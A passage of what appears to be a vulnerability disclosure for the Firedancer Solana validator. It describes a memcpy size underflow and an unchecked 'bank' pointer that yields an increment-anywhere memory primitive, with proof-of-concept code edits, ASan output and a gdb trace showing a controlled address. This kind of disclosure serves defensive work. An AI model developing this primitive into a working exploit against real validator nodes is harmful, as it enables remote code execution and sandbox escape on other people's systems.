in case 'sz' is less than sizeof(fd_microblock_bank_trailer_t) memcpy with very large length will be called on this line
This could possibly lead to code execution in poh/bank tiles and sandbox escape, because both of these tiles run in agave process as threads and basically have no sandbox.
Another interesting issue is that fd_bank tile does not have any checks for 'bank' pointer.
It is being initialized from incoming fragment, see line #3 on the above code snippet.
Later on this pointer is passed to fd_ext__ rust calls:
pub extern "C" fn fd_ext_bank_pre_balance_info( bank: *const std::ffi::c_void, txns: *const std::ffi::c_void,
txn_count: u64 ) -> *mut std::ffi::c_void {
use solana_sdk::transaction::SanitizedTransaction;
use std::borrow::Cow;
use std::sync::atomic::Ordering;
let txns = unsafe {
std::slice::from_raw_parts(txns as *const SanitizedTransaction, txn_count as usize)
};
let bank = bank as *const Bank;
1. unsafe { Arc::increment_strong_count(bank) };
let bank = unsafe { Arc::from_raw( bank as *const Bank ) };
...
}
what happens here is that Arc::increment_strong_count() increments refcount by using our bank pointer.
This issue gives us an ability to increment the value at any address in memory, which is quite powerful primitive.
It could lead to code execution in bank tile/agave process and escape out of sandbox.
Impact Details
Remote code execution in poh/bank tiles. Sandbox escape as these tiles are not sandboxed.
Proof of concept
Proof of Concept
How to reproduce:
get firedancer source code
to simplify the testing I've slightly modified the code
src/app/fdctl/config.c on lines 546, 551, 653: change FD_LOG_ERR macro to FD_LOG_INFO
disco/mux/fd_mux.c - comment out line 166
fd_bank.c - change line 129 to something like " ctx->_bank = trailer->bank;ctx->_bank=(void*)0x4142434451525354;sleep(20);". Make sure to add "#include <unistd.h>" at the beginning as well.
disco/mux/fd_mux.c - comment out line 608 (do not call 'continue')
To test memcpy() issue: disco/mux/fd_mux.c - add code on line 643 "chunk=32841;sz=4;"
build firedancer with asan
run bank tile:
# ./build/linux/clang/x86_64/bin/fdctl run1 bank 0 --config config.toml
...
=================================================================
==821897==ERROR: AddressSanitizer: negative-size-param: (size=-8)
==821899==WARNING: external symbolizer didn't start up correctly!
==821900==WARNING: external symbolizer didn't start up correctly!
==821901==WARNING: external symbolizer didn't start up correctly!
==821902==WARNING: external symbolizer didn't start up correctly!
==821903==WARNING: external symbolizer didn't start up correctly!
==821903==WARNING: Failed to use and restart external symbolizer!
#0 0x5a4b85f5db14 (firedancer/build/linux/clang/x86_64/bin/fdctl+0xb26b14) (BuildId: e995404f26f63a7b7035fcf82d3fde62f5930048)
#1 0x5a4b86003e88 (firedancer/build/linux/clang/x86_64/bin/fdctl+0xbcce88) (BuildId: e995404f26f63a7b7035fcf82d3fde62f5930048)
#2 0x5a4b86061120 (firedancer/build/linux/clang/x86_64/bin/fdctl+0xc2a120) (BuildId: e995404f26f63a7b7035fcf82d3fde62f5930048)
#3 0x5a4b8605d0fc (firedancer/build/linux/clang/x86_64/bin/fdctl+0xc260fc) (BuildId: e995404f26f63a7b7035fcf82d3fde62f5930048)
#4 0x5a4b85fc0b17 (firedancer/build/linux/clang/x86_64/bin/fdctl+0xb89b17) (BuildId: e995404f26f63a7b7035fcf82d3fde62f5930048)
#5 0x73e5d9d25a03 (/lib/x86_64-linux-gnu/libc.so.6+0x125a03) (BuildId: 490fef8403240c91833978d494d39e537409b92e)
To test 'bank' pointer issue, edit fd_mux.c file on line 643 , change it to "chunk=32841;sz=20;"
run bank tile, it will fork and go to background:
# ./build/linux/clang/x86_64/bin/fdctl run1 bank 0 --config config.toml
get the pid of 'fdctl' process - "ps aux|grep fdctl" and attach to it by using gdb, enter "c" and press enter
after some time bank tile will crash:
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007e6418ce578a in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x2454dc1fc800, rem=rem@entry=0x2454dc1fc800) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78
78 ../sysdeps/unix/sysv/linux/clock_nanosleep.c: No such file or directory.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
fd_ext_bank_pre_balance_info () at /rustc/82e1608dfa6e0b5569232559e3d385fea5a93112/library/core/src/sync/atomic.rs:3321
3321 /rustc/82e1608dfa6e0b5569232559e3d385fea5a93112/library/core/src/sync/atomic.rs: No such file or directory.
(gdb) bt
#0 fd_ext_bank_pre_balance_info ()
at /rustc/82e1608dfa6e0b5569232559e3d385fea5a93112/library/core/src/sync/atomic.rs:3321
#1 0x00005b895f7eb1c5 in after_frag (_ctx=0x35b75a801000, in_idx=<optimized out>,
seq=18446744073709551615, opt_sig=0x2454dc1fdd60, opt_chunk=<optimized out>, opt_sz=<optimized out>,
opt_tsorig=0x2454dc1fdde0, opt_filter=0x2454dc1fddb0, mux=0x2454dc1fdd00)
at src/app/fdctl/run/tiles/fd_bank.c:205
#2 0x00005b895f84822b in fd_mux_tile (cnc=cnc@entry=0x29f7fe404600, flags=flags@entry=3,
in_cnt=in_cnt@entry=1, in_mcache=in_mcache@entry=0x2454dc1fe600, in_fseq=in_fseq@entry=0x2454dc1fee80,
mcache=mcache@entry=0x28d300001100, out_cnt=1, _out_fseq=0x2454dc1ff300, burst=1, cr_max=128,
lazy=<optimized out>, rng=0x2454dc1ffbe0, scratch=0x2454dc1fdf80, ctx=0x35b75a801000,
callbacks=0x2454dc1ffb80) at src/disco/mux/fd_mux.c:663
#3 0x00005b895f8440fd in fd_topo_run_tile (topo=<optimized out>, tile=<optimized out>,
sandbox=<optimized out>, uid=<optimized out>, gid=<optimized out>, allow_fd=<optimized out>,
wait=<optimized out>, debugger=<optimized out>, tile_run=<optimized out>)
at src/disco/topo/fd_topo_run.c:171
#4 0x00005b895f7a7b18 in tile_main (_args=<optimized out>) at src/app/fdctl/run/run1.c:53
#5 0x00007e6418d25a04 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:100
..
(gdb) x/2i $pc
=> 0x5b895ff5cdd4 <fd_ext_bank_pre_balance_info+20>: lock incq -0x10(%rdi)
0x5b895ff5cdd9 <fd_ext_bank_pre_balance_info+25>:
jle 0x5b895ff5d19c <fd_ext_bank_pre_balance_info+988>
(gdb) i r rdi
rdi 0x4142434451525354 4702394921629406036
(gdb)
As you can see, basically it is increment-anywhere primitive